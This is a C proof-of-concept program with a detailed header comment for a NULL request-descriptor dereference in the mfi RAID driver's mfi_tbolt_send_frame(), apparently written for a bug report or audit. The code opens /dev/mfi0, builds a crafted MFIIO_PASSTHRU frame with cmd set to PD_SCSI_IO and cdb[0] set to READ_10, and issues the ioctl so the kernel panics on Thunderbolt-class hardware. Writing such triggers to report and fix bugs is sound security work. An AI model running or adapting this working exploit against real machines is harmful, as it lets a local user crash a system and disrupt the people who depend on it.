/*
 * DF-4390 - mfi_tbolt_send_frame() NULL request-descriptor dereference
 *
 * sys/dev/raid/mfi/mfi_tbolt.c:1156-1168:
 *
 *   if (hdr->cmd == MFI_CMD_PD_SCSI_IO) {
 *           if (cdb[0] != 0x28 && cdb[0] != 0x2A) {
 *                   if ((req_desc = mfi_tbolt_build_mpt_cmd(sc, cm)) == NULL)
 *                           ... return 1;
 *           } else
 *                   device_printf(sc->mfi_dev, "DJA NA XXX SYSPDIO\n");  <-- falls through
 *   }
 *   ...
 *   MFI_WRITE4(sc, MFI_ILQP, (req_desc->words & 0xFFFFFFFF));   <-- req_desc == NULL
 *
 * For MFI_CMD_PD_SCSI_IO frames whose CDB starts with READ_10 (0x28) or
 * WRITE_10 (0x2A), req_desc stays NULL and is dereferenced -> kernel panic.
 *
 * Reachability on a Thunderbolt (MFA_enabled) adapter:
 *   1. ANY read/write bio to a "system PD" (JBOD drive exposed to the OS):
 *      mfi_build_syspdio() (mfi.c:1992-2001) builds exactly
 *      cmd=MFI_CMD_PD_SCSI_IO + cdb[0]=READ_10/WRITE_10 for every I/O.
 *   2. Crash dumps to a system PD: mfi_dump_syspd_blocks() (mfi.c:2453-2461).
 *   3. This program: MFIIO_PASSTHRU with a crafted frame. mfi_user_command()
 *      bcopy()s the whole user-supplied dcmd frame into the command frame,
 *      so header.cmd and the bytes that alias pass.cdb[0] (frame offset 32 =
 *      dcmd.mbox[4], MFI_MBOX_SIZE=12) are fully user controlled.
 *      /dev/mfi0 is root:operator 0640.
 *
 * Build:  cc -O -o df4390 df4390_trigger.c
 * Run:    ./df4390 [/dev/mfi0]
 * Success criterion (on real TBOLT hardware): instant kernel panic
 * "Fatal trap 12: page fault while in kernel mode" reading address ~0x0
 * from mfi_tbolt_send_frame; serial console shows the preceding
 * "DJA NA XXX SYSPDIO" message.
 */
#include <sys/ioctl.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* ---- kernel ABI mirror (sys/dev/raid/mfi/mfireg.h, mfi_ioctl.h) ---- */
struct mfi_frame_header_ {
	unsigned char	cmd;		/* 0x02 = MFI_CMD_PD_SCSI_IO */
	unsigned char	sense_len;
	unsigned char	cmd_status;
	unsigned char	scsi_status;
	unsigned char	target_id;
	unsigned char	lun_id;
	unsigned char	cdb_len;
	unsigned char	sg_count;
	unsigned int	context;
	unsigned int	pad0;
	unsigned short	flags;
	unsigned short	timeout;
	unsigned int	data_len;
} __attribute__((__packed__));

struct mfi_dcmd_frame_ {
	struct mfi_frame_header_	header;	/* 24 */
	unsigned int			opcode;	/* 24 */
	unsigned char			mbox[12];/* 28..40; mbox[4] aliases pass.cdb[0] @32 */
	unsigned char			sgl[16];	/* 40..56 union mfi_sgl */
} __attribute__((__packed__));

struct mfi_ioc_passthru_ {
	struct mfi_dcmd_frame_	ioc_frame;	/* 0  .. 56 */
	unsigned int		buf_size;	/* 56 */
	unsigned char		*buf;		/* 64 */
} __attribute__((__packed__));

#define MFIIO_PASSTHRU_		_IOWR('C', 102, struct mfi_ioc_passthru_)
#define MFI_CMD_PD_SCSI_IO_	0x02
#define SCSI_READ_10_		0x28

int main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/mfi0";
	struct mfi_ioc_passthru_ ioc;
	int fd;

	/* try the well-known alias too */
	fd = open(dev, O_RDWR);
	if (fd < 0 && strcmp(dev, "/dev/mfi0") == 0)
		fd = open("/dev/megaraid_sas_ioctl_node", O_RDWR);
	if (fd < 0) {
		printf("[-] open(%s): %s (no mfi controller on this system)\n",
		    dev, strerror(errno));
		printf("[-] DF-4390 cannot be exercised at runtime on this "
		    "guest: the trigger requires a Thunderbolt (2108/2208) "
		    "megaraid HBA so that MFA_enabled=1 and "
		    "mfi_tbolt_send_frame() runs.\n");
		return (2);
	}

	memset(&ioc, 0, sizeof(ioc));
	ioc.ioc_frame.header.cmd	= MFI_CMD_PD_SCSI_IO_;	/* -> PD_SCSI_IO branch */
	ioc.ioc_frame.header.cdb_len	= 10;
	ioc.ioc_frame.mbox[4]		= SCSI_READ_10_;	/* == pass.cdb[0] -> else branch, req_desc stays NULL */
	ioc.ioc_frame.opcode		= 0xdeadbeef;		/* pass.cdb[4..7], irrelevant */
	ioc.buf_size			= 0;			/* cm_data == NULL -> direct mfi_tbolt_send_frame() */

	printf("[*] issuing MFIIO_PASSTHRU cmd=PD_SCSI_IO cdb[0]=READ_10 on %s\n", dev);
	printf("[*] expected on TBOLT hw: panic at mfi_tbolt.c:1181 (req_desc->words, NULL deref)\n");
	if (ioctl(fd, MFIIO_PASSTHRU_, &ioc) < 0)
		printf("[-] ioctl: %s\n", strerror(errno));
	printf("[*] still alive - controller is not Thunderbolt (MFA_enabled==0) or cmd completed\n");
	close(fd);
	return (0);
}
